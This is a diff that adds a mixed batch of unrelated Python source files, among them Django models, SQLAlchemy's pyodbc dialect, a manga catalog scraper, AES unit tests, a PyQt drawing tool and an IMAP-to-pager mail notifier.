0 > %s" % online_file) + for online_file in online_files: + session.cmd("echo 1 > %s" % online_file) diff --git a/pool/shard008/Python/0078572_models.py b/pool/shard008/Python/0078572_models.py new file mode 100644 index 0000000000000000000000000000000000000000..bdb8dd606713a78aafd4366a9015a4aca88a9c29 --- /dev/null +++ b/pool/shard008/Python/0078572_models.py @@ -0,0 +1,64 @@ +from django.db import models +import uuid +from django.contrib.auth.models import AbstractUser +# Create your models here. + + +class TimeStampedModel(models.Model): + """ TimeStampedModel + An abstract base class model that provides self-managed "created" and "modified" fields. + """ + uuid = models.UUIDField(auto_created=True, default=uuid.uuid4, editable=False, db_index=True) + created_at = models.DateTimeField(auto_now_add=True) + updated_at = models.DateTimeField(auto_now=True) + is_active = models.BooleanField(default=True) + + class Meta: + get_latest_by = 'updated_at' + ordering = ('-created_at', '-updated_at',) + abstract = True + + +class AssetsModel(models.Model): + """ AssetsModel + An abstract base class model that provides "is_active" fields. + """ + is_active = models.BooleanField(default=True) + + class Meta: + abstract = True + + +class User(AbstractUser): + uuid = models.UUIDField(auto_created=True, default=uuid.uuid4, editable=False, db_index=True) + username = models.CharField( + 'username', + max_length=32, + unique=True, + error_messages={ + 'unique': "A user with that username already exists.", + }, + ) + first_name = models.CharField('first name', max_length=30, null=True, blank=True, default=None) + last_name = models.CharField('last name', max_length=30, null=True, blank=True, default=None) + mina_openid = models.CharField(max_length=32, null=True, db_index=True, default=None) + mp_openid = models.CharField(max_length=32, null=True, db_index=True, default=None) + union_id = models.CharField(max_length=32, null=True, db_index=True, default=None) + nick_name = models.CharField(max_length=128, null=True, default=None) + phone_number = models.CharField(max_length=20, null=True, db_index=True, default=None) + state = models.PositiveSmallIntegerField(default=0) + avatar_url = models.URLField(null=True, default=None) + is_subscribed = models.BooleanField(default=True) + class Meta: + db_table = 'auth_user' + + +class UserInfo(TimeStampedModel): + user = models.OneToOneField(User, on_delete=models.PROTECT, primary_key=True, related_name='info') + sex = models.PositiveSmallIntegerField(null=True) + city = models.CharField(max_length=20, null=True) + subscribe_at = models.PositiveIntegerField(null=True) + unsubscribe_at = models.PositiveIntegerField(null=True) + + class Meta: + db_table = 'user_info' diff --git a/pool/shard008/Python/0078574_run.py b/pool/shard008/Python/0078574_run.py new file mode 100644 index 0000000000000000000000000000000000000000..692b42c0273c49ce166f155e69775398e29f2596 --- /dev/null +++ b/pool/shard008/Python/0078574_run.py @@ -0,0 +1,39 @@ +from grow.pods import env +from grow.pods import pods +from grow.pods import storage +from grow.server import manager +import click +import os +import threading + + +@click.command() +@click.argument('pod_path', default='.') +@click.option('--host', default='localhost') +@click.option('--port', default=8080) +@click.option('--https', default=False, + help='Whether to use "https" in the local environment.') +@click.option('--debug/--no-debug', default=False, is_flag=True, + help='Whether to run in debug mode and show internal tracebacks' + ' when encountering exceptions.') +@click.option('--browser/--no-browser', '-b', is_flag=True, default=False, + help='Whether to open a browser upon startup.') +@click.option('--update-check/--no-update-check', default=True, is_flag=True, + help='Whether to check for updates to Grow.') +@click.option('--preprocess/--no-preprocess', default=True, is_flag=True, + help='Whether to run preprocessors on server start.') +def run(host, port, https, debug, browser, update_check, preprocess, + pod_path): + """Starts a development server for a single pod.""" + root = os.path.abspath(os.path.join(os.getcwd(), pod_path)) + scheme = 'https' if https else 'http' + config = env.EnvConfig(host=host, port=port, name=env.Name.DEV, + scheme=scheme, cached=False, dev=True) + environment = env.Env(config) + pod = pods.Pod(root, storage=storage.FileStorage, env=environment) + try: + manager.start(pod, host=host, port=port, open_browser=browser, + debug=debug, preprocess=preprocess, + update_check=update_check) + except pods.Error as e: + raise click.ClickException(str(e)) diff --git a/pool/shard008/Python/0078579_poiseuille_mayavi2.py b/pool/shard008/Python/0078579_poiseuille_mayavi2.py new file mode 100644 index 0000000000000000000000000000000000000000..e33156f7649854c7cd968f0445c2a1f132e95aa7 --- /dev/null +++ b/pool/shard008/Python/0078579_poiseuille_mayavi2.py @@ -0,0 +1,81 @@ +"""Example to solve 2D poiseuille flow + +""" + +import os + +from simphony.core.cuba import CUBA +from simphony.engine import openfoam_internal +from simphony.engine import openfoam_file_io + +from mayavi.scripts import mayavi2 + +wrapper = openfoam_internal.Wrapper() +CUBAExt = openfoam_internal.CUBAExt + +path = os.path.abspath(os.curdir) +name = 'poiseuille' + +wrapper.CM[CUBA.NAME] = name + +wrapper.CM_extensions[CUBAExt.GE] = (CUBAExt.INCOMPRESSIBLE, + CUBAExt.LAMINAR_MODEL) + +wrapper.CM_extensions[CUBAExt.NUMBER_OF_CORES] = 1 + +wrapper.SP[CUBA.TIME_STEP] = 0.001 +wrapper.SP[CUBA.NUMBER_OF_TIME_STEPS] = 100 +wrapper.SP[CUBA.DENSITY] = 1.0 +wrapper.SP[CUBA.DYNAMIC_VISCOSITY] = 0.001 + +# this is just an example. It is not enough for general setting of BC's +wrapper.BC[CUBA.VELOCITY] = {'boundary0': ('fixedValue', (0.1, 0, 0)), + 'boundary1': 'zeroGradient', + 'boundary2': ('fixedValue', (0, 0, 0)), + 'boundary3': 'empty'} +wrapper.BC[CUBA.PRESSURE] = {'boundary0': 'zeroGradient', + 'boundary1': ('fixedValue', 0), + 'boundary2': 'zeroGradient', + 'boundary3': 'empty'} + +corner_points = [(0.0, 0.0, 0.0), (20.0e-3, 0.0, 0.0), + (20.0e-3, 1.0e-3, 0.0), (0.0, 1.0e-3, 0.0), + (0.0, 0.0, 0.1e-3), (20.0e-3, 0.0, 0.1e-3), + (20.0e-3, 1.0e-3, 0.1e-3), (0.0, 1.0e-3, 0.1e-3)] + +# elements in x -direction +nex = 50 +# elements in y -direction +ney = 6 +openfoam_file_io.create_quad_mesh(path, name, wrapper, corner_points, + nex, ney, 1) +mesh_inside_wrapper = wrapper.get_dataset(name) + +# initial values +for cell in mesh_inside_wrapper.iter(item_type=CUBA.CELL): + cell.data[CUBA.VELOCITY] = [0.1, 0, 0] + +wrapper.run() + +avg_velo = 0.0 +for cell in mesh_inside_wrapper.iter(item_type=CUBA.CELL): + avg_velo += cell.data[CUBA.VELOCITY][0] + +print "Average velocity ", avg_velo/mesh_inside_wrapper.count_of(CUBA.CELL) + + +# Now view the data. +@mayavi2.standalone +def view(): + from mayavi.modules.surface import Surface + from simphony_mayavi.sources.api import CUDSSource + + mayavi.new_scene() # noqa + src = CUDSSource(cuds=mesh_inside_wrapper) + mayavi.add_source(src) # noqa + s = Surface() + mayavi.add_module(s) # noqa + + +if __name__ == '__main__': + view() diff --git a/pool/shard008/Python/0078580_pyodbc.py b/pool/shard008/Python/0078580_pyodbc.py new file mode 100644 index 0000000000000000000000000000000000000000..7715865244151acee50bb5fe5512387344e36ee0 --- /dev/null +++ b/pool/shard008/Python/0078580_pyodbc.py @@ -0,0 +1,254 @@ +# mssql/pyodbc.py +# Copyright (C) 2005-2012 the SQLAlchemy authors and contributors +# +# This module is part of SQLAlchemy and is released under +# the MIT License: http://www.opensource.org/licenses/mit-license.php + +""" +.. dialect:: mssql+pyodbc + :name: PyODBC + :dbapi: pyodbc + :connectstring: mssql+pyodbc://:@ + :url: http://pypi.python.org/pypi/pyodbc/ + +Additional Connection Examples +------------------------------- + +Examples of pyodbc connection string URLs: + +* ``mssql+pyodbc://mydsn`` - connects using the specified DSN named ``mydsn``. + The connection string that is created will appear like:: + + dsn=mydsn;Trusted_Connection=Yes + +* ``mssql+pyodbc://user:pass@mydsn`` - connects using the DSN named + ``mydsn`` passing in the ``UID`` and ``PWD`` information. The + connection string that is created will appear like:: + + dsn=mydsn;UID=user;PWD=pass + +* ``mssql+pyodbc://user:pass@mydsn/?LANGUAGE=us_english`` - connects + using the DSN named ``mydsn`` passing in the ``UID`` and ``PWD`` + information, plus the additional connection configuration option + ``LANGUAGE``. The connection string that is created will appear + like:: + + dsn=mydsn;UID=user;PWD=pass;LANGUAGE=us_english + +* ``mssql+pyodbc://user:pass@host/db`` - connects using a connection + that would appear like:: + + DRIVER={SQL Server};Server=host;Database=db;UID=user;PWD=pass + +* ``mssql+pyodbc://user:pass@host:123/db`` - connects using a connection + string which includes the port + information using the comma syntax. This will create the following + connection string:: + + DRIVER={SQL Server};Server=host,123;Database=db;UID=user;PWD=pass + +* ``mssql+pyodbc://user:pass@host/db?port=123`` - connects using a connection + string that includes the port + information as a separate ``port`` keyword. This will create the + following connection string:: + + DRIVER={SQL Server};Server=host;Database=db;UID=user;PWD=pass;port=123 + +* ``mssql+pyodbc://user:pass@host/db?driver=MyDriver`` - connects using a connection + string that includes a custom + ODBC driver name. This will create the following connection string:: + + DRIVER={MyDriver};Server=host;Database=db;UID=user;PWD=pass + +If you require a connection string that is outside the options +presented above, use the ``odbc_connect`` keyword to pass in a +urlencoded connection string. What gets passed in will be urldecoded +and passed directly. + +For example:: + + mssql+pyodbc:///?odbc_connect=dsn%3Dmydsn%3BDatabase%3Ddb + +would create the following connection string:: + + dsn=mydsn;Database=db + +Encoding your connection string can be easily accomplished through +the python shell. For example:: + + >>> import urllib + >>> urllib.quote_plus('dsn=mydsn;Database=db') + 'dsn%3Dmydsn%3BDatabase%3Ddb' + +Unicode Binds +------------- + +The current state of PyODBC on a unix backend with FreeTDS and/or +EasySoft is poor regarding unicode; different OS platforms and versions of UnixODBC +versus IODBC versus FreeTDS/EasySoft versus PyODBC itself dramatically +alter how strings are received. The PyODBC dialect attempts to use all the information +it knows to determine whether or not a Python unicode literal can be +passed directly to the PyODBC driver or not; while SQLAlchemy can encode +these to bytestrings first, some users have reported that PyODBC mis-handles +bytestrings for certain encodings and requires a Python unicode object, +while the author has observed widespread cases where a Python unicode +is completely misinterpreted by PyODBC, particularly when dealing with +the information schema tables used in table reflection, and the value +must first be encoded to a bytestring. + +It is for this reason that whether or not unicode literals for bound +parameters be sent to PyODBC can be controlled using the +``supports_unicode_binds`` parameter to ``create_engine()``. When +left at its default of ``None``, the PyODBC dialect will use its +best guess as to whether or not the driver deals with unicode literals +well. When ``False``, unicode literals will be encoded first, and when +``True`` unicode literals will be passed straight through. This is an interim +flag that hopefully should not be needed when the unicode situation stabilizes +for unix + PyODBC. + +.. versionadded:: 0.7.7 + ``supports_unicode_binds`` parameter to ``create_engine()``\ . + +""" + +from .base import MSExecutionContext, MSDialect +from ...connectors.pyodbc import PyODBCConnector +from ... import types as sqltypes, util +from ...util.compat import decimal + + +class _MSNumeric_pyodbc(sqltypes.Numeric): + """Turns Decimals with adjusted() < 0 or > 7 into strings. + + The routines here are needed for older pyodbc versions + as well as current mxODBC versions. + + """ + + def bind_processor(self, dialect): + + super_process = super(_MSNumeric_pyodbc, self).\ + bind_processor(dialect) + + if not dialect._need_decimal_fix: + return super_process + + def process(value): + if self.asdecimal and \ + isinstance(value, decimal.Decimal): + + adjusted = value.adjusted() + if adjusted < 0: + return self._small_dec_to_string(value) + elif adjusted > 7: + return self._large_dec_to_string(value) + + if super_process: + return super_process(value) + else: + return value + return process + + # these routines needed for older versions of pyodbc. + # as of 2.1.8 this logic is integrated. + + def _small_dec_to_string(self, value): + return "%s0.%s%s" % ( + (value < 0 and '-' or ''), + '0' * (abs(value.adjusted()) - 1), + "".join([str(nint) for nint in value.as_tuple()[1]])) + + def _large_dec_to_string(self, value): + _int = value.as_tuple()[1] + if 'E' in str(value): + result = "%s%s%s" % ( + (value < 0 and '-' or ''), + "".join([str(s) for s in _int]), + "0" * (value.adjusted() - (len(_int) - 1))) + else: + if (len(_int) - 1) > value.adjusted(): + result = "%s%s.%s" % ( + (value < 0 and '-' or ''), + "".join( + [str(s) for s in _int][0:value.adjusted() + 1]), + "".join( + [str(s) for s in _int][value.adjusted() + 1:])) + else: + result = "%s%s" % ( + (value < 0 and '-' or ''), + "".join( + [str(s) for s in _int][0:value.adjusted() + 1])) + return result + + +class MSExecutionContext_pyodbc(MSExecutionContext): + _embedded_scope_identity = False + + def pre_exec(self): + """where appropriate, issue "select scope_identity()" in the same + statement. + + Background on why "scope_identity()" is preferable to "@@identity": + http://msdn.microsoft.com/en-us/library/ms190315.aspx + + Background on why we attempt to embed "scope_identity()" into the same + statement as the INSERT: + http://code.google.com/p/pyodbc/wiki/FAQs#How_do_I_retrieve_autogenerated/identity_values? + + """ + + super(MSExecutionContext_pyodbc, self).pre_exec() + + # don't embed the scope_identity select into an + # "INSERT .. DEFAULT VALUES" + if self._select_lastrowid and \ + self.dialect.use_scope_identity and \ + len(self.parameters[0]): + self._embedded_scope_identity = True + + self.statement += "; select scope_identity()" + + def post_exec(self): + if self._embedded_scope_identity: + # Fetch the last inserted id from the manipulated statement + # We may have to skip over a number of result sets with + # no data (due to triggers, etc.) + while True: + try: + # fetchall() ensures the cursor is consumed + # without closing it (FreeTDS particularly) + row = self.cursor.fetchall()[0] + break + except self.dialect.dbapi.Error, e: + # no way around this - nextset() consumes the previous set + # so we need to just keep flipping + self.cursor.nextset() + + self._lastrowid = int(row[0]) + else: + super(MSExecutionContext_pyodbc, self).post_exec() + + +class MSDialect_pyodbc(PyODBCConnector, MSDialect): + + execution_ctx_cls = MSExecutionContext_pyodbc + + pyodbc_driver_name = 'SQL Server' + + colspecs = util.update_copy( + MSDialect.colspecs, + { + sqltypes.Numeric: _MSNumeric_pyodbc + } + ) + + def __init__(self, description_encoding=None, **params): + super(MSDialect_pyodbc, self).__init__(**params) + self.description_encoding = description_encoding + self.use_scope_identity = self.use_scope_identity and \ + self.dbapi and \ + hasattr(self.dbapi.Cursor, 'nextset') + self._need_decimal_fix = self.dbapi and \ + self._dbapi_version() < (2, 1, 8) + +dialect = MSDialect_pyodbc diff --git a/pool/shard008/Python/0078582_CatalogClass.py b/pool/shard008/Python/0078582_CatalogClass.py new file mode 100644 index 0000000000000000000000000000000000000000..9b1cf843543498f4b235945a9713fdfc68764534 --- /dev/null +++ b/pool/shard008/Python/0078582_CatalogClass.py @@ -0,0 +1,107 @@ +import requests +from bs4 import BeautifulSoup +from MangaClass import * + +class Catalog: + """ + A "catalog" of all the manga available. Each Catalog class has three + "sub-catalogs". These sub-catalogues organize the manga titles in some + way. See the .createCatalogs() method for more details. + + Catalog methods: + - __init__() + - get_html() + - createCatalogs() + - search() + """ + + def __init__(self): + + # MangaReader catalog setup + self.rawCatalog = None + self.alphaCatalog = None + self.genreCatalog = None + self.soup = self.get_html('https://www.mangareader.net/alphabetical') # retrieve bs4 of the manga list on the site + + self.createCatalogs() + + + + def get_html(self, url): + """ + None -> BeautifulSoup + + Gets the html version of the mangalist from mangareader.net, and + returns the parsed version. + """ + print("retrieving directory of " + url + "... ", end="", flush=True) + + # get html of of webpage, parse with bs4 + res = requests.get(url) + html_doc = res.text + soup = BeautifulSoup(html_doc, 'html.parser') + + print("DONE") + + return soup + + def createCatalogs(self): + """ + BeautifulSoup -> None + + Finds all the manga titles on the page and creates two dictionaries; + - raw_catalog: a dict that maps 'title' -> 'url of chapter list page' + - alpha_catalog: a dict that maps 'first letter of title' -> 'title' + """ + ### MangaReader catalog setup ######################################## + + print("Populating MangaReader catalog... ", end="", flush=True) + + raw_catalog = {} + alpha_catalog = {} + + # find all anchor tags containing manga titles + # i.e. One Piece + # .select returns an array of these anchor tags as strings + mangas = self.soup.select('div div div div div ul li a') + + # Iterate through each manga/anchor in mangas + for manga in mangas: + # Create the raw_catalog + try: + manga_name = manga.string # .string gives what's b/w tags + link = manga['href'] # retrieves the href link + raw_catalog[manga_name] = link # add the managa to raw + except: + print("Failed to find a manga. Title was: ", manga_name) + + # Create the alpha_catalog + first_letter = manga_name[0].upper() # get first letter of title + try: + # if a manga title starting with this letter already has + # an entry, we can just append to its list + alpha_catalog[first_letter].append(manga_name) + except: + # if we haven't encountered a manga starting with that letter, + # we just create the list! + alpha_catalog[first_letter] = [manga_name] + + self.rawCatalog = raw_catalog + self.alphaCatalog = alpha_catalog + + print("DONE") + + + def search(self, query): + + results = [] + + if (site == "MangaReader"): + + for key in self.alphaCatalog.keys(): + for manga_name in self.alphaCatalog[key]: + if str(query) in manga_name: + results.append(manga_name) + + results.sort() + return results diff --git a/pool/shard008/Python/0078588_setup.py b/pool/shard008/Python/0078588_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..7c65ffd05c67741fbf4777ef57b75ce5a3562cac --- /dev/null +++ b/pool/shard008/Python/0078588_setup.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python3 + +__version__ = '1.4.8' + +import glob +import os, warnings +from setuptools import setup, find_packages, Extension +from Cython.Distutils import build_ext + +root = os.path.dirname(os.path.abspath(__file__)) + +userconf = os.path.join(os.path.expanduser('~'), '.config') +cpy_src = os.path.join(root, './Mget/utils/CPPMGET/') + +ext_modules = [ Extension( "mgetsys", + [cpy_src + 'cpycode.pyx', cpy_src + 'main.cpp', cpy_src + 'common.cpp'], + extra_compile_args=["-std=c++11"], language="c++")] + +files_spec = [ ('share/doc/mget', ['README.md']), + ('', glob.glob('*.so')), + (userconf, ['mget.conf'])] +data_files = [] + +for dirname, files in files_spec: + resfiles = [] + for fn in files: + if not os.path.exists(fn): warnings.warn('Skipping file %s.' % fn) + else: resfiles.append(fn) + data_files.append((dirname, resfiles)) + +params={'data_files': data_files, + 'entry_points': {'console_scripts': ['mget = Mget:main']}} +setup( + name='mget', + version=__version__, + cmdclass = {'build_ext': build_ext}, + ext_modules = ext_modules, + description='HTTP file/video downloader', + long_description='Small command-line program to download videos from mp4upload.com & video sharing site and other http urls. Written in Python3 and cython3 `Install using pip3`', + author='Ramesh Mani Maran', + author_email='mssg3r@gmail.com', + packages=find_packages(), + classifiers=[ + "Development Status :: 5 - Production/Stable", + "Environment :: Console", + "License :: OSI Approved :: GNU General Public License v2 (GPLv2)", + "Operating System :: POSIX :: Linux", + "Topic :: Internet", + "Programming Language :: Cython", + "Programming Language :: Python :: 3.4", + ], + keywords='download mget http file downloader video mp4upload', + setup_requires = 'Cython', + **params) + diff --git a/pool/shard008/Python/0078589_minmaxtracker.py b/pool/shard008/Python/0078589_minmaxtracker.py new file mode 100644 index 0000000000000000000000000000000000000000..a1979156919511bedb3d1ae9cec225e3ccfbded5 --- /dev/null +++ b/pool/shard008/Python/0078589_minmaxtracker.py @@ -0,0 +1,63 @@ +from . import AbstractIndicator + + +# tracker for dynamic indicators +# it's purpose is tracking mix and max values of upstream indicators at the given time slot +# for static indicators: min and max will have the same value all the time +# (the value at the given time won't change) +class MinMaxTracker(AbstractIndicator): + + def __init__(self): + AbstractIndicator.__init__(self) + self.reset() + + def reset(self): + # collection with (min, max) tupples + self.__all_min_max = [] + + @property + def result(self): + return self.__all_min_max[-1] + + @property + def all_result(self): + return self.__all_min_max + + def on_new_upstream_value(self, new_value): + + if new_value is None: + self.__all_min_max.append(None) + else: + if type(new_value) is list: + + self.__update_result(new_value) + + else: + raise ValueError("Non-list types are not supported.") + + def __update_result(self, input_list): + + current_result_index = 0 + for input_item in input_list: + + # if there's already list with elements + if len(self.__all_min_max) > current_result_index: + current_result = self.__all_min_max[current_result_index] + + # None input doesn't change anything in existing elements + if input_item is not None: + if current_result is None: + current_min = current_max = input_item + else: + current_min = min(current_result[0], input_item) + current_max = max(current_result[1], input_item) + self.__all_min_max[current_result_index] = (current_min, current_max) + else: + + # if there's no list of elements, we have to create it + if input_item is None: + self.__all_min_max.append(None) + else: + self.__all_min_max.append((input_item, input_item)) + + current_result_index += 1 diff --git a/pool/shard008/Python/0078590_sysloginit.py b/pool/shard008/Python/0078590_sysloginit.py new file mode 100644 index 0000000000000000000000000000000000000000..9e87190b623f4486ffc87e8f2165899313caf022 --- /dev/null +++ b/pool/shard008/Python/0078590_sysloginit.py @@ -0,0 +1,36 @@ +import logging +import settings +from logging.handlers import SysLogHandler +from copy import copy + +def initSyslogLogger(): + """ + Configure syslog loggers + :return: syslog log handler + """ + # close any zombie handlers for root logger + for handler in copy(logging.getLogger().handlers): + logging.getLogger().removeHandler(handler) + handler.close() + + # create our own custom formatter and handler for syslog + log_formatter = logging.Formatter('[%(asctime)s] [%(levelname)s] [%(pathname)s->%(lineno)d]: %(message)s', + datefmt='%Y-%m-%d %H:%M:%S') + log_handler = logging.handlers.SysLogHandler(address="/dev/log", facility=settings.DSIP_LOG_FACILITY) + log_handler.setLevel(settings.DSIP_LOG_LEVEL) + log_handler.setFormatter(log_formatter) + + # set log handler for our dsiprouter app + logging.getLogger().setLevel(settings.DSIP_LOG_LEVEL) + logging.getLogger().addHandler(log_handler) + + # redirect stderr and stdout to syslog + # if not settings.DEBUG: + # sys.stderr = StreamLogger(level=logging.WARNING) + # sys.stdout = StreamLogger(level=logging.DEBUG) + + return log_handler + +# import this file to setup logging +# syslog handler created globally +# syslog_handler = initSyslogLogger() diff --git a/pool/shard008/Python/0078594_test_encrypt_decrypt.py b/pool/shard008/Python/0078594_test_encrypt_decrypt.py new file mode 100644 index 0000000000000000000000000000000000000000..a92bf6d812d7c4720defb39e9ced985348622b9f --- /dev/null +++ b/pool/shard008/Python/0078594_test_encrypt_decrypt.py @@ -0,0 +1,43 @@ +"""Test the TcEx Utils Module.""" +# first-party +from tcex.utils import Utils + + +class TestBool: + """Test the TcEx Utils Module.""" + + @staticmethod + def test_utils_encrypt(): + """Test Case""" + key = 'ajfmuyodhscwegea' + plaintext = 'blah' + encrypted_data = Utils().encrypt_aes_cbc(key, plaintext) + + assert encrypted_data == b'0\x8e`\x8d%\x9f\x8c\xdf\x004\xc1\x1a\x82\xbd\x89\n' + + @staticmethod + def test_utils_encrypt_iv_string(): + """Test Case""" + key = 'ajfmuyodhscwegea' + plaintext = 'blah' + encrypted_data = Utils().encrypt_aes_cbc(key, plaintext, iv='\0' * 16) + + assert encrypted_data == b'0\x8e`\x8d%\x9f\x8c\xdf\x004\xc1\x1a\x82\xbd\x89\n' + + @staticmethod + def test_utils_decrypt(): + """Test Case""" + key = 'ajfmuyodhscwegea' + ciphertext = b'0\x8e`\x8d%\x9f\x8c\xdf\x004\xc1\x1a\x82\xbd\x89\n' + decrypted_data = Utils().decrypt_aes_cbc(key, ciphertext) + + assert decrypted_data.decode() == 'blah' + + @staticmethod + def test_utils_decrypt_iv_string(): + """Test Case""" + key = 'ajfmuyodhscwegea' + ciphertext = b'0\x8e`\x8d%\x9f\x8c\xdf\x004\xc1\x1a\x82\xbd\x89\n' + decrypted_data = Utils().decrypt_aes_cbc(key, ciphertext, iv='\0' * 16) + + assert decrypted_data.decode() == 'blah' diff --git a/pool/shard008/Python/0078603_admin.py b/pool/shard008/Python/0078603_admin.py new file mode 100644 index 0000000000000000000000000000000000000000..9df9c8278f4fcc827502e6e3c516aa91317606ca --- /dev/null +++ b/pool/shard008/Python/0078603_admin.py @@ -0,0 +1,48 @@ +from __future__ import absolute_import, unicode_literals, division, print_function + +__author__ = 'reyrodrigues' + +from django.contrib.gis import admin + +from .models import Location, Language, LocationContent, AuthorizationToken + + +def disable_location(modeladmin, request, queryset): + queryset.update(enabled=False) + + +disable_location.short_description = 'Disable location' + + +def enable_location(modeladmin, request, queryset): + queryset.update(enabled=True) + + +enable_location.short_description = 'Enable location' + + +class LocationTitleInline(admin.StackedInline): + model = LocationContent + ordering = ('language', ) + extra = 0 + + +class LocationAdmin(admin.GeoModelAdmin): + default_lat = 48.69096 + default_lon = 12.480469 + default_zoom = 5 + openlayers_url = "https://cdnjs.cloudflare.com/ajax/libs/openlayers/2.13.1/OpenLayers.js" + + inlines = [ + LocationTitleInline, + ] + list_display = ('id', 'name', 'country', 'enabled') + list_filter = ('country',) + search_fields = ('name', ) + prepopulated_fields = {"slug": ('name',)} + actions = [enable_location, disable_location] + + +admin.site.register(Location, LocationAdmin) +admin.site.register(Language, admin.ModelAdmin) +admin.site.register(AuthorizationToken, admin.ModelAdmin) diff --git a/pool/shard008/Python/0078604_stroke_tool.py b/pool/shard008/Python/0078604_stroke_tool.py new file mode 100644 index 0000000000000000000000000000000000000000..7a7d0fb105f4c07e550b737b790b4cd5dff03d69 --- /dev/null +++ b/pool/shard008/Python/0078604_stroke_tool.py @@ -0,0 +1,160 @@ +# -*- coding: utf-8 -*- +## @package npr_sfs.ui.tool.stroke_tool +# +# npr_sfs.ui.tool.stroke_tool utility package. +# @author tody +# @date 2015/10/26 + +import numpy as np +from PyQt4.QtGui import * +from PyQt4.QtCore import * + +from ivf.ui.tool.base_tool import BaseTool +from ivf.scene.stroke import StrokeSet, StrokeSets + + +class StrokeTool(BaseTool): + ## Constructor + def __init__(self): + super(StrokeTool, self).__init__() + self._stroke_sets = StrokeSets() + self._stroke_sets.addStrokeSet("1", color=(1.0, 0.0, 0.0, 0.4)) + + self._stroke_edited_func = None + self._stroke_updated_func = None + self._adjusting_brush = False + self._p_old = None + self._brush_size = 20 + + def clearStrokeSets(self): + self._stroke_sets.clear() + self._selectStrokeSet("1", color=(1.0, 0.0, 0.0, 0.4)) + + def setStrokeSets(self, stroke_sets): + self._stroke_sets = stroke_sets + self._selectStrokeSet("1", color=(1.0, 0.0, 0.0, 0.4)) + + def setStrokeEditedCallBack(self, stroke_edited_func): + self._stroke_edited_func = stroke_edited_func + + def setStrokeUpdatedCallBack(self, stroke_updated_func): + self._stroke_updated_func = stroke_updated_func + + def setView(self, view): + super(StrokeTool, self).setView(view) + + def mousePressEvent(self, e): + self._p_old = self._mousePosition(e) + if self._adjusting_brush: + return + + if e.buttons() & Qt.LeftButton: + if (e.modifiers() & Qt.ShiftModifier): + self._stroke_sets.selectedStrokeSet().addEmptyStroke() + + else: + self._stroke_sets.selectedStrokeSet().clear(with_empty=True) + + self.addStrokePoint(e) + + def mouseReleaseEvent(self, e): + pass + + def mouseMoveEvent(self, e): + if e.buttons() & Qt.LeftButton: + if self._adjusting_brush: + self.adjustBrush(e) + return + + if self._addingStrokePoint(e): + self.addStrokePoint(e) + + def keyPressEvent(self, e): + if e.key() == Qt.Key_B: + self._adjusting_brush = True + + if e.key() == Qt.Key_0: + self._selectStrokeSet("0", (0.0, 0.0, 1.0, 0.4)) + + if e.key() == Qt.Key_1: + self._selectStrokeSet("1", (1.0, 0.0, 0.0, 0.4)) + + if e.key() == Qt.Key_2: + self._selectStrokeSet("2", (0.0, 1.0, 0.0, 0.4)) + + if e.key() == Qt.Key_3: + self._selectStrokeSet("3", (1.0, 1.0, 0.0, 0.4)) + + if e.key() == Qt.Key_4: + self._selectStrokeSet("4", (1.0, 0.0, 1.0, 0.4)) + + if e.key() == Qt.Key_5: + self._selectStrokeSet("5", (0.0, 1.0, 1.0, 0.4)) + + if e.key() == Qt.Key_Enter or e.key() == Qt.Key_Return: + print "Press Enter" + if self._stroke_edited_func: + self._stroke_edited_func(self._stroke_sets) + + def keyReleaseEvent(self, e): + self._adjusting_brush = False + + def adjustBrush(self, e): + p = self._mousePosition(e) + dx = p[0] - self._p_old[0] + + self._brush_size += dx + self._brush_size = max(3, self._brush_size) + + self._p_old = p + + self._view.update() + + def addStrokePoint(self, e): + p = self._mousePosition(e) + self._stroke_sets.selectedStrokeSet().lastStroke().addStrokePoint(p, self._brush_size) + + self._view.update() + + if self._stroke_updated_func: + self._stroke_updated_func(self._stroke_sets) + + def _addingStrokePoint(self, e): + p = self._mousePosition(e) + if self._stroke_sets.selectedStrokeSet().lastStroke().empty() == 0: + return True + + p_old = self._stroke_sets.selectedStrokeSet().lastStroke().points()[-1] + + if np.linalg.norm(p - p_old) > 3: + return True + + return False + + def _overlayFunc(self, painter): + pen = QPen(QColor(255, 0, 0, 100)) + pen.setWidth(self._brush_size) + pen.setCapStyle(Qt.RoundCap) + painter.setPen(pen) + + p = self._p_old + + if p is not None: + painter.drawPoint(QPoint(p[0], p[1])) + + for stroke_set in self._stroke_sets.strokeSets(): + color = stroke_set.color() + for stroke in stroke_set.strokes(): + brush_size = stroke.brushSize() + + pen = QPen(QColor.fromRgbF(color[0], color[1], color[2], color[3])) + pen.setWidth(brush_size) + + painter.setPen(pen) + polyline = QPolygon([QPoint(p[0], p[1]) for p in stroke.points()]) + painter.drawPolyline(polyline) + + def _selectStrokeSet(self, name, color): + if self._stroke_sets.selectStrokeSet(name): + return + self._stroke_sets.addStrokeSet(name, color) diff --git a/pool/shard008/Python/0078606_email_grab.py b/pool/shard008/Python/0078606_email_grab.py new file mode 100644 index 0000000000000000000000000000000000000000..62dfd51943834a534c3ad087de460c8bc0dc421b --- /dev/null +++ b/pool/shard008/Python/0078606_email_grab.py @@ -0,0 +1,93 @@ +import sys +import threading +import time + +import imaplib + +import page +from email.parser import HeaderParser + +parser = HeaderParser() + + +def login(configuration): + print('CONNECTING TO IMAP SERVER') + connection = imaplib.IMAP4_SSL(configuration['imap']) + connection.login(configuration['account'], configuration['password']) + connection.select(configuration['inbox'], readonly=False) + return connection + + +def parse_mail(configuration): + connection = login(configuration) + result, id_data = connection.search(None, 'UNSEEN') + id_list = id_data[0].split() + for id in id_list: + result, data = connection.fetch(id, '(BODY[HEADER.FIELDS (SUBJECT FROM)])') + message_complex = parser.parsestr(data[0][1].decode('utf-8')) + message_simple = ' From:' + message_complex['from'].strip() + \ + ' || Subject:' + message_complex['subject'].strip() + print(message_simple) + page.send(conf['number'], message_simple) + + +def get_reply(connection): + reply = connection.readline() + reply = reply.decode('utf-8') + reply = reply.strip() + print(reply) + return reply + + +def idle(connection): + connection.send(('%s IDLE\r\n' % connection._new_tag()).encode('utf-8')) + idle_start = time.time() + idle_time = 0 + while idle_time < 29: + reply = get_reply(connection) + if reply.endswith('EXISTS'): + print('NEW MAIL') + connection.send('DONE\r\n'.encode('utf-8')) + get_reply(connection) + return 'new' + if reply.startswith('* BYE') or len(reply) == 0: + print('IMAP SERVER QUITED IDLE') + return 'err' + idle_time = (time.time()-idle_start)/60 + if idle_time >= 29: + return 'timeout' + + +def disconnect(connection): + connection.close() + connection.logout() + + +# Find config file +try: + conf_file = open('conf.txt', 'r') +except IOError: + sys.exit('No config file found, please create conf.txt') + +# create a config dictionary 